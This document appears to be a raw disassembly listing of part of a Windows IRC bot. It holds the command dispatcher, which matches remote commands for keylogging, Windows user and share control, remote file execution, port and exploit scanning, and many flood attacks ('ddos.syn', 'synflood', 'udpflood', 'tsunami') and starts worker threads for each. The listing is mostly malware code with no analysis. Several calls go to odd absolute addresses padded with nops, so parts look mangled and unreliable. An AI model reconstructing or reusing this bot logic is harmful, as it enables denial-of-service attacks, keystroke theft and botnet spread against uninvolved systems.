		push	ebx
		lea	eax, [ebp+var_2C4]
		push	21h
		push	eax
		call	sub_40B0F6
		add	esp, 14h
		mov	[ebp+var_F68], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_FEC]
		push	ebx
		push	eax
		push	offset sub_412660
		push	ebx
		push	ebx
		nop
		call	near ptr 26705F4h
		mov	ecx, [ebp+var_F68]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43DEF4[ecx], eax
		jz	short loc_405D82

loc_405D6C:				; CODE XREF: sub_401ACD+42B3j
		cmp	[ebp+var_F5C], ebx
		jnz	loc_40828B
		push	32h
		nop
		call	near ptr 2670535h
		jmp	short loc_405D6C
; ---------------------------------------------------------------------------

loc_405D82:				; CODE XREF: sub_401ACD+429Dj
		nop
		call	near ptr 2670D55h
		push	eax
		push	offset unk_42B118
		jmp	loc_4049EB
; ---------------------------------------------------------------------------

loc_405D93:				; CODE XREF: sub_401ACD+41D4j
		push	[ebp+arg_10]
		push	offset aOff	; "off"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40828B
		push	ebx
		push	21h
		call	sub_40B2F1
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jle	short loc_405DC3
		push	eax
		push	offset unk_42B0D8
		jmp	loc_4049EB
; ---------------------------------------------------------------------------

loc_405DC3:				; CODE XREF: sub_401ACD+42E9j
		push	offset unk_42B0A8
		jmp	loc_406F04
; ---------------------------------------------------------------------------

loc_405DCD:				; CODE XREF: sub_401ACD+41BDj
		push	edi
		push	offset aIdent	; "ident"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_405EA2
		push	[ebp+arg_10]
		push	offset aOn	; "on"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_405E68
		push	2
		call	sub_40B33E
		test	eax, eax
		pop	ecx
		jle	short loc_405E0B
		push	offset dword_42B080
		jmp	loc_406F04
; ---------------------------------------------------------------------------

loc_405E0B:				; CODE XREF: sub_401ACD+4332j
		lea	eax, [ebp+var_2C4]
		push	offset dword_42B054
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	2
		push	eax
		call	sub_40B0F6
		add	esp, 14h
		mov	esi, eax
		lea	eax, [ebp+var_10]
		push	eax
		push	ebx
		push	esi
		push	offset loc_4101FC
		push	ebx
		push	ebx
		call	near ptr 26705F4h
		nop
		imul	esi, 234h
		cmp	eax, ebx
		mov	dword_43DEF4[esi], eax
		jnz	loc_40828B
		call	near ptr 2670D55h
		nop
		push	eax
		push	offset dword_42B020
		jmp	loc_4049EB
; ---------------------------------------------------------------------------

loc_405E68:				; CODE XREF: sub_401ACD+4326j
		push	[ebp+arg_10]
		push	offset aOff	; "off"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40828B
		push	ebx
		push	2
		call	sub_40B2F1
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jle	short loc_405E98
		push	eax
		push	offset dword_42AFE8
		jmp	loc_4049EB
; ---------------------------------------------------------------------------

loc_405E98:				; CODE XREF: sub_401ACD+43BEj
		push	offset dword_42AFC8
		jmp	loc_406F04
; ---------------------------------------------------------------------------

loc_405EA2:				; CODE XREF: sub_401ACD+430Fj
		push	edi
		push	offset aKeylog	; "keylog"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40601F
		push	[ebp+arg_10]
		push	offset aOn	; "on"
		call	sub_41C070
		pop	ecx
		mov	edi, offset aFile ; "file"
		test	eax, eax
		pop	ecx
		jz	short loc_405F18
		push	[ebp+arg_10]
		push	edi
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_405F18
		push	[ebp+arg_10]
		push	offset aOff	; "off"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40828B
		push	ebx
		push	23h
		call	sub_40B2F1
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jle	short loc_405F0E
		push	eax
		push	offset dword_42AF7C
		jmp	loc_4049EB
; ---------------------------------------------------------------------------

loc_405F0E:				; CODE XREF: sub_401ACD+4434j
		push	offset dword_42AF50
		jmp	loc_406F04
; ---------------------------------------------------------------------------

loc_405F18:				; CODE XREF: sub_401ACD+4400j
					; sub_401ACD+440Fj
		push	23h
		call	sub_40B33E
		test	eax, eax
		pop	ecx
		jle	short loc_405F2E
		push	offset dword_42AF30
		jmp	loc_406F04
; ---------------------------------------------------------------------------

loc_405F2E:				; CODE XREF: sub_401ACD+4455j
		mov	eax, [ebp+arg_4]
		push	[ebp+arg_10]
		mov	[ebp+var_C5C], eax
		mov	eax, [ebp+var_4]
		push	edi
		mov	[ebp+var_BD4], eax
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_405F5B
		mov	[ebp+var_BD0], 1
		jmp	short loc_405F64
; ---------------------------------------------------------------------------

loc_405F5B:				; CODE XREF: sub_401ACD+4480j
		mov	eax, [ebp+var_8]
		mov	[ebp+var_BD0], eax

loc_405F64:				; CODE XREF: sub_401ACD+448Cj
		mov	esi, [ebp+esi+var_88]
		cmp	esi, ebx
		jnz	short loc_405F8B
		mov	esi, offset aF_0 ; "#f"
		push	offset dword_43D158
		push	esi
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_405F8B
		mov	esi, [ebp+var_88]

loc_405F8B:				; CODE XREF: sub_401ACD+44A0j
					; sub_401ACD+44B6j
		push	esi
		lea	eax, [ebp+var_C54]
		push	80h
		push	eax
		call	sub_41B980
		add	esp, 0Ch
		lea	eax, [ebp+var_2C4]
		push	offset dword_42AF0C
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	23h
		push	eax
		call	sub_40B0F6
		add	esp, 14h
		mov	[ebp+var_C58], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_C5C]
		push	ebx
		push	eax
		push	offset dword_411CF4
		push	ebx
		push	ebx
		nop
		call	near ptr 26705F4h
		mov	ecx, [ebp+var_C58]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43DEF4[ecx], eax
		jz	short loc_40600E

loc_405FF8:				; CODE XREF: sub_401ACD+453Fj
		cmp	[ebp+var_BCC], ebx
		jnz	loc_40828B
		push	32h
		nop
		call	near ptr 2670535h
		jmp	short loc_405FF8
; ---------------------------------------------------------------------------

loc_40600E:				; CODE XREF: sub_401ACD+4529j
		nop
		call	near ptr 2670D55h
		push	eax
		push	offset dword_42AED0
		jmp	loc_4049EB
; ---------------------------------------------------------------------------

loc_40601F:				; CODE XREF: sub_401ACD+43E4j
		push	edi
		push	offset aNet	; "net"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40626F
		cmp	dword_4CB074, ebx
		jz	short loc_40604E
		cmp	dword_4CB09C, ebx
		jz	short loc_40604E
		push	offset unk_42AE94
		jmp	loc_4085D5
; ---------------------------------------------------------------------------

loc_40604E:				; CODE XREF: sub_401ACD+456Dj
					; sub_401ACD+4575j
		cmp	[ebp+var_C], ebx
		jz	loc_406CDE
		mov	edi, [ebp+esi+var_88]
		mov	[ebp+arg_0], ebx
		cmp	edi, ebx
		jz	short loc_406073
		push	edi
		push	[ebp+var_C]
		call	sub_41B900
		pop	ecx
		mov	[ebp+arg_0], eax
		pop	ecx

loc_406073:				; CODE XREF: sub_401ACD+4596j
		push	[ebp+arg_10]
		push	offset aStart	; "start"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4060C0
		cmp	edi, ebx
		jz	short loc_406094
		push	[ebp+arg_0]
		push	3
		jmp	loc_406126
; ---------------------------------------------------------------------------

loc_406094:				; CODE XREF: sub_401ACD+45BBj
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_41895B
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_4060B6
		push	offset unk_42AE68
		jmp	loc_4085D5
; ---------------------------------------------------------------------------

loc_4060B6:				; CODE XREF: sub_401ACD+45DDj
		push	offset unk_42AE48
		jmp	loc_4085D5
; ---------------------------------------------------------------------------

loc_4060C0:				; CODE XREF: sub_401ACD+45B7j
		push	[ebp+arg_10]
		push	offset aStop	; "stop"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4060DA
		push	[ebp+arg_0]
		push	4
		jmp	short loc_406126
; ---------------------------------------------------------------------------

loc_4060DA:				; CODE XREF: sub_401ACD+4604j
		push	[ebp+arg_10]
		push	offset aPause	; "pause"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4060F4
		push	[ebp+arg_0]
		push	5
		jmp	short loc_406126
; ---------------------------------------------------------------------------

loc_4060F4:				; CODE XREF: sub_401ACD+461Ej
		push	[ebp+arg_10]
		push	offset aContinue ; "continue"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40610E
		push	[ebp+arg_0]
		push	6
		jmp	short loc_406126
; ---------------------------------------------------------------------------

loc_40610E:				; CODE XREF: sub_401ACD+4638j
		push	[ebp+arg_10]
		push	offset aDelete	; "delete"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_406138
		push	[ebp+arg_0]
		push	1

loc_406126:				; CODE XREF: sub_401ACD+45C2j
					; sub_401ACD+460Bj ...
		call	sub_4186C1
		pop	ecx
		pop	ecx

loc_40612D:				; CODE XREF: sub_401ACD+46A1j
					; sub_401ACD+4729j ...
		push	eax
		push	offset aS_1	; "%s"
		jmp	loc_406CCF
; ---------------------------------------------------------------------------

loc_406138:				; CODE XREF: sub_401ACD+4652j
		push	[ebp+arg_10]
		push	offset aShare	; "share"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40619D
		cmp	edi, ebx
		jz	short loc_406170
		cmp	[ebp+var_8FC], bl
		jz	short loc_40615D
		push	ebx
		push	edi
		push	1
		jmp	short loc_406166
; ---------------------------------------------------------------------------

loc_40615D:				; CODE XREF: sub_401ACD+4688j
		push	[ebp+esi+var_84]
		push	edi
		push	ebx

loc_406166:				; CODE XREF: sub_401ACD+468Ej
		call	sub_418A98
		add	esp, 0Ch
		jmp	short loc_40612D
; ---------------------------------------------------------------------------

loc_406170:				; CODE XREF: sub_401ACD+4680j
		push	ebx
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_418C8E
		add	esp, 10h
		test	eax, eax
		jz	short loc_406193
		push	offset unk_42AE00
		jmp	loc_4085D5
; ---------------------------------------------------------------------------

loc_406193:				; CODE XREF: sub_401ACD+46BAj
		push	offset unk_42ADE0
		jmp	loc_4085D5
; ---------------------------------------------------------------------------

loc_40619D:				; CODE XREF: sub_401ACD+467Cj
		push	[ebp+arg_10]
		push	offset aUser	; "user"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_406228
		cmp	edi, ebx
		jz	short loc_4061FB
		cmp	[ebp+var_8FC], bl
		jz	short loc_4061CE
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		push	ebx
		push	edi
		push	1
		jmp	short loc_4061EE
; ---------------------------------------------------------------------------

loc_4061CE:				; CODE XREF: sub_401ACD+46EDj
		push	[ebp+var_4]
		mov	esi, [ebp+esi+var_84]
		cmp	esi, ebx
		push	[ebp+var_88]
		push	[ebp+arg_4]
		jz	short loc_4061EA
		push	esi
		push	edi
		push	ebx
		jmp	short loc_4061EE
; ---------------------------------------------------------------------------

loc_4061EA:				; CODE XREF: sub_401ACD+4716j
		push	ebx
		push	edi
		push	2

loc_4061EE:				; CODE XREF: sub_401ACD+46FFj
					; sub_401ACD+471Bj
		call	sub_418DAF
		add	esp, 18h
		jmp	loc_40612D
; ---------------------------------------------------------------------------

loc_4061FB:				; CODE XREF: sub_401ACD+46E5j
		push	ebx
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_4192DF
		add	esp, 10h
		test	eax, eax
		jz	short loc_40621E
		push	offset unk_42ADB8
		jmp	loc_4085D5
; ---------------------------------------------------------------------------

loc_40621E:				; CODE XREF: sub_401ACD+4745j
		push	offset unk_42AD98
		jmp	loc_4085D5
; ---------------------------------------------------------------------------

loc_406228:				; CODE XREF: sub_401ACD+46E1j
		push	[ebp+arg_10]
		push	offset aSend	; "send"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_406265
		cmp	edi, ebx
		jz	short loc_40625B
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_419593
		add	esp, 10h
		jmp	loc_40612D
; ---------------------------------------------------------------------------

loc_40625B:				; CODE XREF: sub_401ACD+4770j
		push	offset unk_42AD6C
		jmp	loc_4085D5
; ---------------------------------------------------------------------------

loc_406265:				; CODE XREF: sub_401ACD+476Cj
		push	offset unk_42AD50
		jmp	loc_4085D5
; ---------------------------------------------------------------------------

loc_40626F:				; CODE XREF: sub_401ACD+4561j
		push	edi
		push	offset aCapture	; "capture"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408DFD
		push	edi
		push	offset aCap	; "cap"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408DFD
		push	edi
		push	offset aGethost	; "gethost"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408D09
		push	edi
		push	offset aGh	; "gh"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408D09

loc_4062C3:				; CODE XREF: sub_401ACD+3CBDj
					; sub_401ACD+3CECj ...
		mov	edi, [ebp+esi+var_88]
		cmp	edi, ebx
		mov	[ebp+arg_1C], edi
		jz	loc_401E94
		push	[ebp+arg_8]
		push	offset aKilllog	; "killlog"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408CEF
		push	[ebp+arg_8]
		push	offset aKl	; "kl"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408CEF
		push	[ebp+arg_8]
		push	offset aAddalias ; "addalias"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408CAC
		push	[ebp+arg_8]
		push	offset aAa	; "aa"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408CAC
		push	[ebp+arg_8]
		push	offset aPrivmsg_0 ; "privmsg"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408C57
		push	[ebp+arg_8]
		push	offset dword_42B534
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408C57
		push	[ebp+arg_8]
		push	offset aAction	; "action"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408BEA
		push	[ebp+arg_8]
		push	offset aA	; "a"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408BEA
		push	[ebp+arg_8]
		push	offset aCycle	; "cycle"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408B86
		push	[ebp+arg_8]
		push	offset aCy	; "cy"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408B86
		push	[ebp+arg_8]
		push	offset aMode	; "mode"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408B4A
		push	[ebp+arg_8]
		push	offset aM	; "m"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408B4A
		push	[ebp+arg_8]
		push	offset aC_raw	; "c_raw"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408ADB
		push	[ebp+arg_8]
		push	offset aC_r	; "c_r"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408ADB
		push	[ebp+arg_8]
		push	offset aC_mode	; "c_mode"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408A55
		push	[ebp+arg_8]
		push	offset aC_m	; "c_m"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408A55
		push	[ebp+arg_8]
		push	offset aC_nick	; "c_nick"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4089E5
		push	[ebp+arg_8]
		push	offset aC_n	; "c_n"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4089E5
		push	[ebp+arg_8]
		push	offset aC_join	; "c_join"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4089BF
		push	[ebp+arg_8]
		push	offset aC_j	; "c_j"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4089BF
		push	[ebp+arg_8]
		push	offset aC_part	; "c_part"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40895B
		push	[ebp+arg_8]
		push	offset aC_p	; "c_p"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40895B
		push	[ebp+arg_8]
		push	offset aTarga3	; "targa3"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408886
		push	[ebp+arg_8]
		push	offset aT3	; "t3"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408886
		push	[ebp+arg_8]
		push	offset aTsunami	; "tsunami"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40878B
		push	[ebp+arg_8]
		push	offset aTsn	; "tsn"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40878B
		push	[ebp+arg_8]
		push	offset aRepeat	; "repeat"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408687
		push	[ebp+arg_8]
		push	offset aRp	; "rp"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408687
		push	[ebp+arg_8]
		push	offset aDelay	; "delay"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4085E8
		push	[ebp+arg_8]
		push	offset aDe	; "de"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4085E8
		push	[ebp+arg_8]
		push	offset aJpDe100	; "jp]de100"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408457
		push	[ebp+arg_8]
		push	offset aJp10	; "jp]10"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408457
		push	[ebp+arg_8]
		push	offset aExecute	; "execute"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4083C4
		push	[ebp+arg_8]
		push	offset aE	; "e"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4083C4
		push	[ebp+arg_8]
		push	offset aFindfile ; "findfile"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4082B5
		push	[ebp+arg_8]
		push	offset aFf	; "ff"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4082B5
		push	[ebp+arg_8]
		push	offset aRename	; "rename"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40823E
		push	[ebp+arg_8]
		push	offset aMv	; "mv"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40823E
		push	[ebp+arg_8]
		push	offset aIcmpflood ; "icmpflood"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408141
		push	[ebp+arg_8]
		push	offset aIcmp	; "icmp"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408141
		mov	eax, [ebp+esi+var_84]
		cmp	eax, ebx
		mov	[ebp+arg_0], eax
		jz	loc_401E94
		push	[ebp+arg_8]
		push	offset aClone_0	; "clone"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408059
		push	[ebp+arg_8]
		push	offset aC	; "c"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408059
		push	[ebp+arg_8]
		push	offset aDdos_syn ; "ddos.syn"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407F60
		push	[ebp+arg_8]
		push	offset aDdos_ack ; "ddos.ack"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407F60
		push	[ebp+arg_8]
		push	offset aDdos_random ; "ddos.random"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407F60
		push	[ebp+arg_8]
		push	offset aWisdom_udp ; "wisdom.udp"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_4067D6
		push	7Fh
		lea	eax, [ebp+var_327C]
		pop	esi
		push	esi
		push	[ebp+arg_10]
		push	eax
		call	sub_41B5F0
		push	esi
		lea	eax, [ebp+var_31FC]
		push	edi
		push	eax
		call	sub_41B5F0
		push	esi
		lea	eax, [ebp+var_317C]
		push	[ebp+arg_0]
		push	eax
		call	sub_41B5F0
		push	esi
		lea	eax, [ebp+var_30FC]
		push	[ebp+var_88]
		push	eax
		call	sub_41B5F0
		mov	eax, [ebp+var_8]
		mov	edi, [ebp+var_4]
		mov	esi, [ebp+arg_4]
		mov	[ebp+var_3074],	eax
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	13h
		push	eax
		mov	[ebp+var_3078],	edi
		mov	[ebp+var_3280],	esi
		call	sub_40B0F6
		add	esp, 3Ch
		mov	[ebp+var_307C],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_3280]
		push	ebx
		push	eax
		push	offset word_4146CE
		push	ebx
		push	ebx
		nop
		call	near ptr 26705F4h
		mov	ecx, [ebp+var_307C]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43DEF4[ecx], eax
		jz	short loc_4067C5

loc_4067AF:				; CODE XREF: sub_401ACD+4CF6j
		cmp	[ebp+var_3070],	ebx
		jnz	loc_403DA0
		push	32h
		nop
		call	near ptr 2670535h
		jmp	short loc_4067AF
; ---------------------------------------------------------------------------

loc_4067C5:				; CODE XREF: sub_401ACD+4CE0j
		call	near ptr 2670D55h
		nop
		push	eax
		push	offset unk_42ABC0
		jmp	loc_403D91
; ---------------------------------------------------------------------------

loc_4067D6:				; CODE XREF: sub_401ACD+4C36j
		push	[ebp+arg_8]
		push	offset aSynflood ; "synflood"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407E78
		push	[ebp+arg_8]
		push	offset aSyn	; "syn"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407E78
		push	[ebp+arg_8]
		push	offset aSkysyn	; "skysyn"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_406903
		push	7Fh
		lea	eax, [ebp+var_36A4]
		pop	esi
		push	esi
		push	[ebp+arg_10]
		push	eax
		call	sub_41B5F0
		push	esi
		lea	eax, [ebp+var_3624]
		push	edi
		push	eax
		call	sub_41B5F0
		push	esi
		lea	eax, [ebp+var_35A4]
		push	[ebp+arg_0]
		push	eax
		call	sub_41B5F0
		push	esi
		lea	eax, [ebp+var_3524]
		push	[ebp+var_88]
		push	eax
		call	sub_41B5F0
		mov	eax, [ebp+var_4]
		add	esp, 30h
		mov	esi, [ebp+arg_4]
		mov	[ebp+var_34A0],	eax
		push	[ebp+arg_0]
		mov	eax, [ebp+var_8]
		mov	[ebp+var_349C],	eax
		lea	eax, [ebp+var_2C4]
		push	edi
		mov	[ebp+var_36A8],	esi
		push	[ebp+arg_10]
		push	offset dword_42AB78
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	10h
		push	eax
		call	sub_40B0F6
		add	esp, 20h
		mov	[ebp+var_34A4],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_36A8]
		push	ebx
		push	eax
		push	offset word_413626
		push	ebx
		push	ebx
		nop
		call	near ptr 26705F4h
		mov	ecx, [ebp+var_34A4]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43DEF4[ecx], eax
		jz	short loc_4068F2

loc_4068DC:				; CODE XREF: sub_401ACD+4E23j
		cmp	[ebp+var_3498],	ebx
		jnz	loc_407278
		push	32h
		nop
		call	near ptr 2670535h
		jmp	short loc_4068DC
; ---------------------------------------------------------------------------

loc_4068F2:				; CODE XREF: sub_401ACD+4E0Dj
		nop
		call	near ptr 2670D55h
		push	eax
		push	offset dword_42AB3C
		jmp	loc_407269
; ---------------------------------------------------------------------------

loc_406903:				; CODE XREF: sub_401ACD+4D48j
		push	[ebp+arg_8]
		push	offset aPhatwonk ; "phatwonk"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407D90
		push	[ebp+arg_8]
		push	offset aWonk	; "wonk"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407D90
		push	[ebp+arg_8]
		push	offset aJpldg10	; "jpldg10"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407C52
		push	[ebp+arg_8]
		push	offset aJpl10	; "jpl10"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407C52
		push	[ebp+arg_8]
		push	offset aRedirect ; "redirect"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407B55
		push	[ebp+arg_8]
		push	offset aRd	; "rd"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407B55
		push	[ebp+arg_8]
		push	offset aScan	; "scan"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407A62
		push	[ebp+arg_8]
		push	offset aSc	; "sc"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407A62
		push	[ebp+arg_8]
		push	offset aC_privmsg ; "c_privmsg"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40795D
		push	[ebp+arg_8]
		push	offset aC_pm	; "c_pm"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40795D
		push	[ebp+arg_8]
		push	offset aC_action ; "c_action"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407865
		push	[ebp+arg_8]
		push	offset aC_a	; "c_a"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407865
		mov	eax, [ebp+esi+var_80]
		cmp	eax, ebx
		mov	[ebp+arg_18], eax
		jz	loc_401E94
		push	[ebp+arg_8]
		push	offset aPortscan ; "portscan"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40775F
		push	[ebp+arg_8]
		push	offset aPsc	; "psc"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40775F
		push	[ebp+arg_8]
		push	offset aAdvscan	; "advscan"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407298
		push	[ebp+arg_8]
		push	offset aAsc	; "asc"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407298
		push	[ebp+arg_8]
		push	offset aUdpflood ; "udpflood"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40714F
		push	[ebp+arg_8]
		push	offset aUdp	; "udp"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40714F
		push	[ebp+arg_8]
		push	offset aU	; "u"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40714F
		push	[ebp+arg_8]
		push	offset aNetsend	; "netsend"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407041
		push	[ebp+arg_8]
		push	offset aNs	; "ns"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407041
		push	[ebp+arg_8]
		push	offset aPingflood ; "pingflood"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_406F17
		push	[ebp+arg_8]
		push	offset aPing_0	; "ping"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_406F17
		push	[ebp+arg_8]
		push	offset aP	; "p"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_406F17
		push	[ebp+arg_8]
		push	offset aTcpflood ; "tcpflood"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_406D6E
		push	[ebp+arg_8]
		push	offset aTcp	; "tcp"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_406D6E
		push	[ebp+arg_8]
		push	offset aEmail	; "email"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_406D16
		push	[ebp+arg_10]
		lea	eax, [ebp+var_47EC]
		push	eax
		call	sub_41BEB0
		push	edi
		call	sub_41B779
		push	[ebp+arg_0]
		mov	[ebp+arg_10], eax
		lea	eax, [ebp+var_4188]
		push	eax
		call	sub_41BEB0
		push	[ebp+arg_18]
		lea	eax, [ebp+var_4588]
		push	eax
		call	sub_41BEB0
